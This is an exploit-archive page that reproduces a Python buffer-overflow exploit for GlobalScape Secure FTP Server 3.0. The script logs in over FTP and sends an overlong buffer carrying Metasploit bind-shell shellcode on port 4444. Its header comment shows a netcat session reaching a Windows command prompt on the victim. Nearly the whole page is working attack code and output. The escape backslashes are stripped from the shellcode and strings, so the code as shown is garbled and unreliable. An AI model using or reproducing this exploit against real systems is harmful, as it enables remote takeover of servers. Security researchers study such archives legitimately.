[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : GlobalScape Secure FTP Server 3.0 Buffer Overflow Exploit
# Published : 2005-05-01
# Author : muts
# Previous Title : Subversion 0.3.7/1.0.0 Remote Buffer Overflow Exploit
# Next Title : MS Windows WINS Vulnerability and OS/SP Scanner


#!/usr/bin/python
###############################################
# GlobalScape Secure FTP Server Buffer Overflow
# Coded by mati@see-security.com
# http://www.see-security.com
# http://www.hackingdefined.com/exploits/Globalscape30.pdf
###############################################
# EIP Overwrite
# root@[muts]# ./globalscape-3.0-ftp.py
#
# [+] Evil GlobalFTP 3.0 Secure Server Exploit
# [+] Coded by mati [at] see-security [dot] com
# [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
#
# [+] Sending Username
# [+] Sending Password
# [+] Sending evil buffer
# [+] Connect to port 4444 on victim Machine!
#
# root@[muts]# nc -v 192.168.1.153 4444
# [192.168.1.153] 4444 (?) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:WINNTsystem32>

import socket
import struct
import time

# win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum 
# http://metasploit.com */

sc = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
sc +="x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
sc +="x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
sc +="x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
sc +="x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e"
sc +="x4fx44x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x56x4bx58"
sc +="x4ex56x46x32x46x32x4bx38x45x44x4ex43x4bx58x4ex47"
sc +="x45x50x4ax57x41x50x4fx4ex4bx38x4fx34x4ax41x4bx58"
sc +="x4fx55x42x52x41x30x4bx4ex43x4ex42x53x49x54x4bx38"
sc +="x46x53x4bx58x41x30x50x4ex41x33x42x4cx49x39x4ex4a"
sc +="x46x58x42x4cx46x57x47x30x41x4cx4cx4cx4dx50x41x30"
sc +="x44x4cx4bx4ex46x4fx4bx33x46x55x46x42x4ax42x45x57"
sc +="x43x4ex4bx58x4fx55x46x52x41x50x4bx4ex48x36x4bx58"
sc +="x4ex50x4bx34x4bx48x4fx55x4ex41x41x30x4bx4ex43x30"
sc +="x4ex52x4bx48x49x38x4ex36x46x42x4ex41x41x56x43x4c"
sc +="x41x43x42x4cx46x46x4bx48x42x54x42x33x4bx58x42x44"
sc +="x4ex50x4bx38x42x47x4ex41x4dx4ax4bx48x42x54x4ax50"
sc +="x50x35x4ax46x50x58x50x44x50x50x4ex4ex42x35x4fx4f"
sc +="x48x4dx41x53x4bx4dx48x36x43x55x48x56x4ax36x43x33"
sc +="x44x33x4ax56x47x47x43x47x44x33x4fx55x46x55x4fx4f"
sc +="x42x4dx4ax56x4bx4cx4dx4ex4ex4fx4bx53x42x45x4fx4f"
sc +="x48x4dx4fx35x49x48x45x4ex48x56x41x48x4dx4ex4ax50"
sc +="x44x30x45x55x4cx46x44x50x4fx4fx42x4dx4ax36x49x4d"
sc +="x49x50x45x4fx4dx4ax47x55x4fx4fx48x4dx43x45x43x45"
sc +="x43x55x43x55x43x45x43x34x43x45x43x34x43x35x4fx4f"
sc +="x42x4dx48x56x4ax56x41x41x4ex35x48x36x43x35x49x38"
sc +="x41x4ex45x49x4ax46x46x4ax4cx51x42x57x47x4cx47x55"
sc +="x4fx4fx48x4dx4cx36x42x31x41x45x45x35x4fx4fx42x4d"
sc +="x4ax36x46x4ax4dx4ax50x42x49x4ex47x55x4fx4fx48x4d"
sc +="x43x35x45x35x4fx4fx42x4dx4ax36x45x4ex49x44x48x38"
sc +="x49x54x47x55x4fx4fx48x4dx42x55x46x35x46x45x45x35"
sc +="x4fx4fx42x4dx43x49x4ax56x47x4ex49x37x48x4cx49x37"
sc +="x47x45x4fx4fx48x4dx45x55x4fx4fx42x4dx48x36x4cx56"
sc +="x46x46x48x36x4ax46x43x56x4dx56x49x38x45x4ex4cx56"
sc +="x42x55x49x55x49x52x4ex4cx49x48x47x4ex4cx36x46x54"
sc +="x49x58x44x4ex41x43x42x4cx43x4fx4cx4ax50x4fx44x54"
sc +="x4dx32x50x4fx44x54x4ex52x43x49x4dx58x4cx47x4ax53"
sc +="x4bx4ax4bx4ax4bx4ax4ax46x44x57x50x4fx43x4bx48x51"
sc +="x4fx4fx45x57x46x54x4fx4fx48x4dx4bx45x47x35x44x35"
sc +="x41x35x41x55x41x35x4cx46x41x50x41x35x41x45x45x35"
sc +="x41x45x4fx4fx42x4dx4ax56x4dx4ax49x4dx45x30x50x4c"
sc +="x43x35x4fx4fx48x4dx4cx56x4fx4fx4fx4fx47x33x4fx4f"
sc +="x42x4dx4bx58x47x45x4ex4fx43x38x46x4cx46x36x4fx4f"
sc +="x48x4dx44x55x4fx4fx42x4dx4ax36x4fx4ex50x4cx42x4e"
sc +="x42x36x43x55x4fx4fx48x4dx4fx4fx42x4dx5a"

buffer = 'x41'*2043+ struct.pack("<L",0x7C4FEDBB)+'x90'*36+sc
try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
	print "[+] Coded by muts"
	connect=s.connect(('192.168.1.153',21))
	d=s.recv(1024)
	print "[+] " +d
	print "[+] Sending Username"
	time.sleep(1)
	s.send('USER mutsrn')
	s.recv(1024)
	print "[+] Sending Password"
	time.sleep(1)
	s.send('PASS mutsrn')
	s.recv(1024)
	print "[+] Sending evil buffer"
	time.sleep(1)
	s.send(buffer+'rn')
	print "[+] Connect to port 4444 on victim Machine!n"
except:
	print "Can't connect to ftp"

# www.Syue.com [2005-05-01]